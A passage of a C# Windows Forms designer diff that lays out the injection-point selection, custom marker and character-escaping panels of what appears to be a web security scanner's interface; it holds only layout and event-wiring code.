"Known Formats"; + this.BodyTypeFormatPluginTab.UseVisualStyleBackColor = true; + // + // ASRequestBodyTabSplit + // + this.ASRequestBodyTabSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestBodyTabSplit.Location = new System.Drawing.Point(0, 0); + this.ASRequestBodyTabSplit.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestBodyTabSplit.Name = "ASRequestBodyTabSplit"; + // + // ASRequestBodyTabSplit.Panel1 + // + this.ASRequestBodyTabSplit.Panel1.Controls.Add(this.FormatPluginsGrid); + // + // ASRequestBodyTabSplit.Panel2 + // + this.ASRequestBodyTabSplit.Panel2.Controls.Add(this.ScanBodyFormatPluginTypeTabs); + this.ASRequestBodyTabSplit.Size = new System.Drawing.Size(855, 344); + this.ASRequestBodyTabSplit.SplitterDistance = 157; + this.ASRequestBodyTabSplit.SplitterWidth = 2; + this.ASRequestBodyTabSplit.TabIndex = 0; + // + // FormatPluginsGrid + // + this.FormatPluginsGrid.AllowUserToAddRows = false; + this.FormatPluginsGrid.AllowUserToDeleteRows = false; + this.FormatPluginsGrid.AllowUserToResizeRows = false; + this.FormatPluginsGrid.BackgroundColor = System.Drawing.Color.White; + this.FormatPluginsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatPluginsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.FormatPluginsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestBodyDataFormatSelectColumn, + this.ASRequestBodyDataFormatColumn}); + this.FormatPluginsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatPluginsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.FormatPluginsGrid.GridColor = System.Drawing.Color.White; + this.FormatPluginsGrid.Location = new System.Drawing.Point(0, 0); + this.FormatPluginsGrid.Margin = new System.Windows.Forms.Padding(0); + this.FormatPluginsGrid.MultiSelect = false; + this.FormatPluginsGrid.Name = "FormatPluginsGrid"; + this.FormatPluginsGrid.RowHeadersVisible = false; + this.FormatPluginsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.FormatPluginsGrid.Size = new System.Drawing.Size(157, 344); + this.FormatPluginsGrid.TabIndex = 0; + this.FormatPluginsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.FormatPluginsGrid_CellClick); + // + // ASRequestBodyDataFormatSelectColumn + // + this.ASRequestBodyDataFormatSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestBodyDataFormatSelectColumn.HeaderText = ""; + this.ASRequestBodyDataFormatSelectColumn.MinimumWidth = 20; + this.ASRequestBodyDataFormatSelectColumn.Name = "ASRequestBodyDataFormatSelectColumn"; + this.ASRequestBodyDataFormatSelectColumn.Width = 20; + // + // ASRequestBodyDataFormatColumn + // + this.ASRequestBodyDataFormatColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyDataFormatColumn.HeaderText = "Select Format"; + this.ASRequestBodyDataFormatColumn.Name = "ASRequestBodyDataFormatColumn"; + this.ASRequestBodyDataFormatColumn.ReadOnly = true; + this.ASRequestBodyDataFormatColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ScanBodyFormatPluginTypeTabs + // + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginInjectionArrayGridTab); + this.ScanBodyFormatPluginTypeTabs.Controls.Add(this.BodyTypeFormatPluginXMLTab); + this.ScanBodyFormatPluginTypeTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanBodyFormatPluginTypeTabs.Location = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.Margin = new System.Windows.Forms.Padding(0); + this.ScanBodyFormatPluginTypeTabs.Multiline = true; + this.ScanBodyFormatPluginTypeTabs.Name = "ScanBodyFormatPluginTypeTabs"; + this.ScanBodyFormatPluginTypeTabs.Padding = new System.Drawing.Point(0, 0); + this.ScanBodyFormatPluginTypeTabs.SelectedIndex = 0; + this.ScanBodyFormatPluginTypeTabs.Size = new System.Drawing.Size(696, 344); + this.ScanBodyFormatPluginTypeTabs.TabIndex = 0; + // + // BodyTypeFormatPluginInjectionArrayGridTab + // + this.BodyTypeFormatPluginInjectionArrayGridTab.Controls.Add(this.BodyTypeFormatPluginGrid); + this.BodyTypeFormatPluginInjectionArrayGridTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginInjectionArrayGridTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginInjectionArrayGridTab.Name = "BodyTypeFormatPluginInjectionArrayGridTab"; + this.BodyTypeFormatPluginInjectionArrayGridTab.Size = new System.Drawing.Size(688, 318); + this.BodyTypeFormatPluginInjectionArrayGridTab.TabIndex = 0; + this.BodyTypeFormatPluginInjectionArrayGridTab.Text = "Format Specific Injection Points"; + this.BodyTypeFormatPluginInjectionArrayGridTab.UseVisualStyleBackColor = true; + // + // BodyTypeFormatPluginGrid + // + this.BodyTypeFormatPluginGrid.AllowUserToAddRows = false; + this.BodyTypeFormatPluginGrid.AllowUserToDeleteRows = false; + this.BodyTypeFormatPluginGrid.AllowUserToResizeRows = false; + this.BodyTypeFormatPluginGrid.BackgroundColor = System.Drawing.Color.White; + this.BodyTypeFormatPluginGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.BodyTypeFormatPluginGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.BodyTypeFormatPluginGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.ASRequestBodySelectColumn, + this.ASRequestBodyNameColumn, + this.ASRequestBodyValueColumn}); + this.BodyTypeFormatPluginGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.BodyTypeFormatPluginGrid.GridColor = System.Drawing.Color.White; + this.BodyTypeFormatPluginGrid.Location = new System.Drawing.Point(0, 0); + this.BodyTypeFormatPluginGrid.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginGrid.Name = "BodyTypeFormatPluginGrid"; + this.BodyTypeFormatPluginGrid.ReadOnly = true; + this.BodyTypeFormatPluginGrid.RowHeadersVisible = false; + this.BodyTypeFormatPluginGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.BodyTypeFormatPluginGrid.Size = new System.Drawing.Size(688, 318); + this.BodyTypeFormatPluginGrid.TabIndex = 2; + this.BodyTypeFormatPluginGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.BodyTypeFormatPluginGrid_CellClick); + // + // ASRequestBodySelectColumn + // + this.ASRequestBodySelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ASRequestBodySelectColumn.HeaderText = "INJECT"; + this.ASRequestBodySelectColumn.Name = "ASRequestBodySelectColumn"; + this.ASRequestBodySelectColumn.ReadOnly = true; + this.ASRequestBodySelectColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.ASRequestBodySelectColumn.Width = 55; + // + // ASRequestBodyNameColumn + // + this.ASRequestBodyNameColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyNameColumn.HeaderText = "INJECTION POINT NAME"; + this.ASRequestBodyNameColumn.Name = "ASRequestBodyNameColumn"; + this.ASRequestBodyNameColumn.ReadOnly = true; + this.ASRequestBodyNameColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // ASRequestBodyValueColumn + // + this.ASRequestBodyValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.ASRequestBodyValueColumn.HeaderText = "VALUE TO INJECT"; + this.ASRequestBodyValueColumn.Name = "ASRequestBodyValueColumn"; + this.ASRequestBodyValueColumn.ReadOnly = true; + this.ASRequestBodyValueColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + // + // BodyTypeFormatPluginXMLTab + // + this.BodyTypeFormatPluginXMLTab.Controls.Add(this.FormatXMLTB); + this.BodyTypeFormatPluginXMLTab.Location = new System.Drawing.Point(4, 22); + this.BodyTypeFormatPluginXMLTab.Margin = new System.Windows.Forms.Padding(0); + this.BodyTypeFormatPluginXMLTab.Name = "BodyTypeFormatPluginXMLTab"; + this.BodyTypeFormatPluginXMLTab.Size = new System.Drawing.Size(688, 318); + this.BodyTypeFormatPluginXMLTab.TabIndex = 1; + this.BodyTypeFormatPluginXMLTab.Text = "Normalized XML from Body Data (for reference)"; + this.BodyTypeFormatPluginXMLTab.UseVisualStyleBackColor = true; + // + // FormatXMLTB + // + this.FormatXMLTB.BackColor = System.Drawing.SystemColors.Window; + this.FormatXMLTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FormatXMLTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.FormatXMLTB.Location = new System.Drawing.Point(0, 0); + this.FormatXMLTB.Margin = new System.Windows.Forms.Padding(0); + this.FormatXMLTB.MaxLength = 2147483647; + this.FormatXMLTB.Multiline = true; + this.FormatXMLTB.Name = "FormatXMLTB"; + this.FormatXMLTB.ReadOnly = true; + this.FormatXMLTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.FormatXMLTB.Size = new System.Drawing.Size(688, 318); + this.FormatXMLTB.TabIndex = 0; + // + // BodyTypeCustomTab + // + this.BodyTypeCustomTab.Controls.Add(this.PlaceInjectionMarkerLL); + this.BodyTypeCustomTab.Controls.Add(this.label10); + this.BodyTypeCustomTab.Controls.Add(this.label7); + this.BodyTypeCustomTab.Controls.Add(this.label39); + this.BodyTypeCustomTab.Controls.Add(this.CustomInjectionPointsHighlightLbl); + this.BodyTypeCustomTab.Controls.Add(this.label37); + this.BodyTypeCustomTab.Controls.Add(this.CustomEndMarkerTB); + this.BodyTypeCustomTab.Controls.Add(this.textBox3); + this.BodyTypeCustomTab.Controls.Add(this.ASApplyCustomMarkersLL); + this.BodyTypeCustomTab.Controls.Add(this.CustomInjectionMarkerTabs); + this.BodyTypeCustomTab.Controls.Add(this.CustomStartMarkerTB); + this.BodyTypeCustomTab.Controls.Add(this.label38); + this.BodyTypeCustomTab.Location = new System.Drawing.Point(4, 4); + this.BodyTypeCustomTab.Name = "BodyTypeCustomTab"; + this.BodyTypeCustomTab.Size = new System.Drawing.Size(855, 344); + this.BodyTypeCustomTab.TabIndex = 2; + this.BodyTypeCustomTab.Text = "Custom"; + this.BodyTypeCustomTab.UseVisualStyleBackColor = true; + // + // PlaceInjectionMarkerLL + // + this.PlaceInjectionMarkerLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.PlaceInjectionMarkerLL.AutoSize = true; + this.PlaceInjectionMarkerLL.Location = new System.Drawing.Point(322, 90); + this.PlaceInjectionMarkerLL.Name = "PlaceInjectionMarkerLL"; + this.PlaceInjectionMarkerLL.Size = new System.Drawing.Size(194, 13); + this.PlaceInjectionMarkerLL.TabIndex = 10; + this.PlaceInjectionMarkerLL.TabStop = true; + this.PlaceInjectionMarkerLL.Text = "Place injection markers in selected area"; + this.PlaceInjectionMarkerLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.PlaceInjectionMarkerLL_LinkClicked); + // + // label10 + // + this.label10.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label10.AutoSize = true; + this.label10.Location = new System.Drawing.Point(5, 90); + this.label10.Name = "label10"; + this.label10.Size = new System.Drawing.Size(313, 13); + this.label10.TabIndex = 9; + this.label10.Text = "To place markers select any section of the text below and click - "; + // + // label7 + // + this.label7.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label7.AutoSize = true; + this.label7.ForeColor = System.Drawing.Color.Blue; + this.label7.Location = new System.Drawing.Point(651, 67); + this.label7.Name = "label7"; + this.label7.Size = new System.Drawing.Size(181, 13); + this.label7.TabIndex = 2; + this.label7.Text = "Number of Injection Points Detected:"; + // + // label39 + // + this.label39.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label39.AutoSize = true; + this.label39.Location = new System.Drawing.Point(332, 67); + this.label39.Margin = new System.Windows.Forms.Padding(0); + this.label39.Name = "label39"; + this.label39.Size = new System.Drawing.Size(65, 13); + this.label39.TabIndex = 6; + this.label39.Text = "End Marker:"; + // + // CustomInjectionPointsHighlightLbl + // + this.CustomInjectionPointsHighlightLbl.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.CustomInjectionPointsHighlightLbl.AutoSize = true; + this.CustomInjectionPointsHighlightLbl.ForeColor = System.Drawing.Color.Blue; + this.CustomInjectionPointsHighlightLbl.Location = new System.Drawing.Point(837, 67); + this.CustomInjectionPointsHighlightLbl.Name = "CustomInjectionPointsHighlightLbl"; + this.CustomInjectionPointsHighlightLbl.Size = new System.Drawing.Size(13, 13); + this.CustomInjectionPointsHighlightLbl.TabIndex = 1; + this.CustomInjectionPointsHighlightLbl.Text = "0"; + // + // label37 + // + this.label37.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label37.AutoSize = true; + this.label37.Location = new System.Drawing.Point(5, 67); + this.label37.Name = "label37"; + this.label37.Size = new System.Drawing.Size(137, 13); + this.label37.TabIndex = 3; + this.label37.Text = "Set Injection Point Markers:"; + // + // CustomEndMarkerTB + // + this.CustomEndMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.CustomEndMarkerTB.Location = new System.Drawing.Point(401, 65); + this.CustomEndMarkerTB.Name = "CustomEndMarkerTB"; + this.CustomEndMarkerTB.Size = new System.Drawing.Size(100, 20); + this.CustomEndMarkerTB.TabIndex = 7; + this.CustomEndMarkerTB.Text = "<<--->>"; + // + // textBox3 + // + this.textBox3.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox3.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox3.Dock = System.Windows.Forms.DockStyle.Top; + this.textBox3.Location = new System.Drawing.Point(0, 0); + this.textBox3.Margin = new System.Windows.Forms.Padding(0); + this.textBox3.Multiline = true; + this.textBox3.Name = "textBox3"; + this.textBox3.ReadOnly = true; + this.textBox3.Size = new System.Drawing.Size(855, 58); + this.textBox3.TabIndex = 8; + this.textBox3.TabStop = false; + this.textBox3.Text = resources.GetString("textBox3.Text"); + // + // ASApplyCustomMarkersLL + // + this.ASApplyCustomMarkersLL.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.ASApplyCustomMarkersLL.AutoSize = true; + this.ASApplyCustomMarkersLL.Location = new System.Drawing.Point(507, 68); + this.ASApplyCustomMarkersLL.Name = "ASApplyCustomMarkersLL"; + this.ASApplyCustomMarkersLL.Size = new System.Drawing.Size(33, 13); + this.ASApplyCustomMarkersLL.TabIndex = 2; + this.ASApplyCustomMarkersLL.TabStop = true; + this.ASApplyCustomMarkersLL.Text = "Apply"; + this.ASApplyCustomMarkersLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.ASApplyCustomMarkersLL_LinkClicked); + // + // CustomInjectionMarkerTabs + // + this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerSelectionTab); + this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerDisplayTab); + this.CustomInjectionMarkerTabs.Controls.Add(this.CustomMarkerEscapingTab); + this.CustomInjectionMarkerTabs.Dock = System.Windows.Forms.DockStyle.Bottom; + this.CustomInjectionMarkerTabs.Location = new System.Drawing.Point(0, 108); + this.CustomInjectionMarkerTabs.Margin = new System.Windows.Forms.Padding(0); + this.CustomInjectionMarkerTabs.Name = "CustomInjectionMarkerTabs"; + this.CustomInjectionMarkerTabs.Padding = new System.Drawing.Point(0, 0); + this.CustomInjectionMarkerTabs.SelectedIndex = 0; + this.CustomInjectionMarkerTabs.Size = new System.Drawing.Size(855, 236); + this.CustomInjectionMarkerTabs.TabIndex = 1; + // + // CustomMarkerSelectionTab + // + this.CustomMarkerSelectionTab.Controls.Add(this.SetCustomInjectionPointsSTB); + this.CustomMarkerSelectionTab.Location = new System.Drawing.Point(4, 22); + this.CustomMarkerSelectionTab.Margin = new System.Windows.Forms.Padding(0); + this.CustomMarkerSelectionTab.Name = "CustomMarkerSelectionTab"; + this.CustomMarkerSelectionTab.Size = new System.Drawing.Size(847, 210); + this.CustomMarkerSelectionTab.TabIndex = 0; + this.CustomMarkerSelectionTab.Text = "Set Custom Injection Point Markers:"; + this.CustomMarkerSelectionTab.UseVisualStyleBackColor = true; + // + // CustomMarkerDisplayTab + // + this.CustomMarkerDisplayTab.Controls.Add(this.HighlightCustomInjectionPointsRTB); + this.CustomMarkerDisplayTab.Location = new System.Drawing.Point(4, 22); + this.CustomMarkerDisplayTab.Margin = new System.Windows.Forms.Padding(0); + this.CustomMarkerDisplayTab.Name = "CustomMarkerDisplayTab"; + this.CustomMarkerDisplayTab.Size = new System.Drawing.Size(847, 210); + this.CustomMarkerDisplayTab.TabIndex = 1; + this.CustomMarkerDisplayTab.Text = "View Sections of Body Selected for Injection:"; + this.CustomMarkerDisplayTab.UseVisualStyleBackColor = true; + // + // HighlightCustomInjectionPointsRTB + // + this.HighlightCustomInjectionPointsRTB.BackColor = System.Drawing.Color.White; + this.HighlightCustomInjectionPointsRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.HighlightCustomInjectionPointsRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.HighlightCustomInjectionPointsRTB.Location = new System.Drawing.Point(0, 0); + this.HighlightCustomInjectionPointsRTB.Margin = new System.Windows.Forms.Padding(0); + this.HighlightCustomInjectionPointsRTB.Name = "HighlightCustomInjectionPointsRTB"; + this.HighlightCustomInjectionPointsRTB.ReadOnly = true; + this.HighlightCustomInjectionPointsRTB.Size = new System.Drawing.Size(847, 210); + this.HighlightCustomInjectionPointsRTB.TabIndex = 0; + this.HighlightCustomInjectionPointsRTB.Text = ""; + // + // CustomMarkerEscapingTab + // + this.CustomMarkerEscapingTab.Controls.Add(this.CharacterEscapingStatusTB); + this.CustomMarkerEscapingTab.Controls.Add(this.label9); + this.CustomMarkerEscapingTab.Controls.Add(this.label8); + this.CustomMarkerEscapingTab.Controls.Add(this.label6); + this.CustomMarkerEscapingTab.Controls.Add(this.label1); + this.CustomMarkerEscapingTab.Controls.Add(this.textBox12); + this.CustomMarkerEscapingTab.Controls.Add(this.EncodedCharacterTB); + this.CustomMarkerEscapingTab.Controls.Add(this.RawCharacterTB); + this.CustomMarkerEscapingTab.Controls.Add(this.AddToEscapeRuleBtn); + this.CustomMarkerEscapingTab.Controls.Add(this.CharacterEscapingGrid); + this.CustomMarkerEscapingTab.Location = new System.Drawing.Point(4, 22); + this.CustomMarkerEscapingTab.Margin = new System.Windows.Forms.Padding(0); + this.CustomMarkerEscapingTab.Name = "CustomMarkerEscapingTab"; + this.CustomMarkerEscapingTab.Size = new System.Drawing.Size(847, 210); + this.CustomMarkerEscapingTab.TabIndex = 2; + this.CustomMarkerEscapingTab.Text = "Set Character Escaping"; + this.CustomMarkerEscapingTab.UseVisualStyleBackColor = true; + // + // CharacterEscapingStatusTB + // + this.CharacterEscapingStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CharacterEscapingStatusTB.BackColor = System.Drawing.Color.Red; + this.CharacterEscapingStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.CharacterEscapingStatusTB.ForeColor = System.Drawing.Color.Black; + this.CharacterEscapingStatusTB.Location = new System.Drawing.Point(11, 181); + this.CharacterEscapingStatusTB.Multiline = true; + this.CharacterEscapingStatusTB.Name = "CharacterEscapingStatusTB"; + this.CharacterEscapingStatusTB.Size = new System.Drawing.Size(538, 17); + this.CharacterEscapingStatusTB.TabIndex = 15; + this.CharacterEscapingStatusTB.TabStop = false; + this.CharacterEscapingStatusTB.Visible = false; + // + // label9 + // + this.label9.AutoSize = true; + this.label9.Location = new System.Drawing.Point(12, 156); + this.label9.Name = "label9"; + this.label9.Size = new System.Drawing.Size(523, 13); + this.label9.TabIndex = 14; + this.label9.Text = "You can delete or edit a rule by doing a right-click on the rule and selecting th" + + "e required option from the menu."; + // + // label8 + // + this.label8.AutoSize = true; + this.label8.Location = new System.Drawing.Point(12, 92); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(175, 13); + this.label8.TabIndex = 12; + this.label8.Text = "Add a new character escaping rule:"; + // + // label6 + // + this.label6.AutoSize = true; + this.label6.Location = new System.Drawing.Point(191, 119); + this.label6.Name = "label6"; + this.label6.Size = new System.Drawing.Size(102, 13); + this.label6.TabIndex = 11; + this.label6.Text = "Encoded Character:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(12, 120); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(81, 13); + this.label1.TabIndex = 10; + this.label1.Text = "Raw Character:"; + // + // textBox12 + // + this.textBox12.BackColor = System.Drawing.Color.LightSkyBlue; + this.textBox12.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.textBox12.Location = new System.Drawing.Point(0, 0); + this.textBox12.Margin = new System.Windows.Forms.Padding(0); + this.textBox12.Multiline = true; + this.textBox12.Name = "textBox12"; + this.textBox12.ReadOnly = true; + this.textBox12.Size = new System.Drawing.Size(577, 80); + this.textBox12.TabIndex = 9; + this.textBox12.TabStop = false; + this.textBox12.Text = resources.GetString("textBox12.Text"); + // + // EncodedCharacterTB + // + this.EncodedCharacterTB.Location = new System.Drawing.Point(299, 117); + this.EncodedCharacterTB.Name = "EncodedCharacterTB"; + this.EncodedCharacterTB.Size = new System.Drawing.Size(100, 20); + this.EncodedCharacterTB.TabIndex = 4; + // + // RawCharacterTB + // + this.RawCharacterTB.Location = new System.Drawing.Point(99, 117); + this.RawCharacterTB.Name = "RawCharacterTB"; + this.RawCharacterTB.Size = new System.Drawing.Size(76, 20); + this.RawCharacterTB.TabIndex = 3; + // + // AddToEscapeRuleBtn + // + this.AddToEscapeRuleBtn.Location = new System.Drawing.Point(418, 114); + this.AddToEscapeRuleBtn.Name = "AddToEscapeRuleBtn"; + this.AddToEscapeRuleBtn.Size = new System.Drawing.Size(74, 23); + this.AddToEscapeRuleBtn.TabIndex = 2; + this.AddToEscapeRuleBtn.Text = "Add to list"; + this.AddToEscapeRuleBtn.UseVisualStyleBackColor = true; + this.AddToEscapeRuleBtn.Click += new System.EventHandler(this.AddToEscapeRuleBtn_Click); + // + // CharacterEscapingGrid + // + this.CharacterEscapingGrid.AllowUserToAddRows = false; + this.CharacterEscapingGrid.AllowUserToDeleteRows = false; + this.CharacterEscapingGrid.AllowUserToResizeRows = false; + this.CharacterEscapingGrid.BackgroundColor = System.Drawing.Color.White; + dataGridViewCellStyle1.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle1.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle1.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle1.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle1.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle1.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CharacterEscapingGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle1; + this.CharacterEscapingGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.CharacterEscapingGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.EscapingSelectColumn, + this.RawCharacterColumn, + this.ArrowColumn, + this.EncodedCharacterColumn}); + this.CharacterEscapingGrid.ContextMenuStrip = this.CharacterEscapingMenu; + this.CharacterEscapingGrid.Dock = System.Windows.Forms.DockStyle.Right; + this.CharacterEscapingGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CharacterEscapingGrid.GridColor = System.Drawing.Color.White; + this.CharacterEscapingGrid.Location = new System.Drawing.Point(577, 0); + this.CharacterEscapingGrid.Margin = new System.Windows.Forms.Padding(0); + this.CharacterEscapingGrid.MultiSelect = false; + this.CharacterEscapingGrid.Name = "CharacterEscapingGrid"; + this.CharacterEscapingGrid.RowHeadersVisible = false; + this.CharacterEscapingGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CharacterEscapingGrid.Size = new System.Drawing.Size(270, 210); + this.CharacterEscapingGrid.TabIndex = 1; + this.CharacterEscapingGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CharacterEscapingGrid_CellClick); + // + // EscapingSelectColumn + // + this.EscapingSelectColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.EscapingSelectColumn.HeaderText = "Use Rule"; + this.EscapingSelectColumn.MinimumWidth = 40; + this.EscapingSelectColumn.Name = "EscapingSelectColumn"; + this.EscapingSelectColumn.Width = 40; + // + // RawCharacterColumn + // + dataGridViewCellStyle2.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.RawCharacterColumn.DefaultCellStyle = dataGridViewCellStyle2; + this.RawCharacterColumn.FillWeight = 70F; + this.RawCharacterColumn.HeaderText = "Raw Character"; + this.RawCharacterColumn.Name = "RawCharacterColumn"; + this.RawCharacterColumn.ReadOnly = true; + this.RawCharacterColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.NotSortable; + this.RawCharacterColumn.Width = 70; + // + // ArrowColumn + // + this.ArrowColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + dataGridViewCellStyle3.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.ArrowColumn.DefaultCellStyle = dataGridViewCellStyle3; + this.ArrowColumn.HeaderText = ""; + this.ArrowColumn.MinimumWidth = 30; + this.ArrowColumn.Name = "ArrowColumn"; + this.ArrowColumn.Width = 30; + // + // EncodedCharacterColumn + // + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + this.EncodedCharacterColumn.DefaultCellStyle = dataGridViewCellStyle4; + this.EncodedCharacterColumn.FillWeight = 130F; + this.EncodedCharacterColumn.HeaderText = "Encoded Character"; + this.EncodedCharacterColumn.Name = "EncodedCharacterColumn"; + this.EncodedCharacterColumn.Width = 130; + // + // CharacterEscapingMenu + // + this.CharacterEscapingMenu.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.EditRuleToolStripMenuItem, + this.DeleteRuleToolStripMenuItem}); + this.CharacterEscapingMenu.Name = "CharacterEscapingMenu"; + this.CharacterEscapingMenu.Size = new System.Drawing.Size(134, 48); + this.CharacterEscapingMenu.Opening += new System.ComponentModel.CancelEventHandler(this.CharacterEscapingMenu_Opening); + // + // EditRuleToolStripMenuItem + // + this.EditRuleToolStripMenuItem.Name = "EditRuleToolStripMenuItem"; + this.EditRuleToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.EditRuleToolStripMenuItem.Text = "Edit Rule"; + this.EditRuleToolStripMenuItem.Click += new System.EventHandler(this.EditRuleToolStripMenuItem_Click); + // + // DeleteRuleToolStripMenuItem + // + this.DeleteRuleToolStripMenuItem.Name = "DeleteRuleToolStripMenuItem"; + this.DeleteRuleToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.DeleteRuleToolStripMenuItem.Text = "Delete Rule"; + this.DeleteRuleToolStripMenuItem.Click += new System.EventHandler(this.DeleteRuleToolStripMenuItem_Click); + // + // CustomStartMarkerTB + // + this.CustomStartMarkerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.CustomStartMarkerTB.Location = new System.Drawing.Point(217, 65); + this.CustomStartMarkerTB.Name = "CustomStartMarkerTB"; + this.CustomStartMarkerTB.Size = new System.Drawing.Size(100, 20); + this.CustomStartMarkerTB.TabIndex = 5; + this.CustomStartMarkerTB.Text = "<<+++>>"; + // + // label38 + // + this.label38.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Left))); + this.label38.AutoSize = true; + this.label38.Location = new System.Drawing.Point(146, 68); + this.label38.Margin = new System.Windows.Forms.Padding(0); + this.label38.Name = "label38"; + this.label38.Size = new System.Drawing.Size(68, 13); + this.label38.TabIndex = 4; + this.label38.Text = "Start Marker:"; + // + // CookieTab + // + this.CookieTab.Controls.Add(this.ScanCookieGrid); + this.CookieTab.Location = new 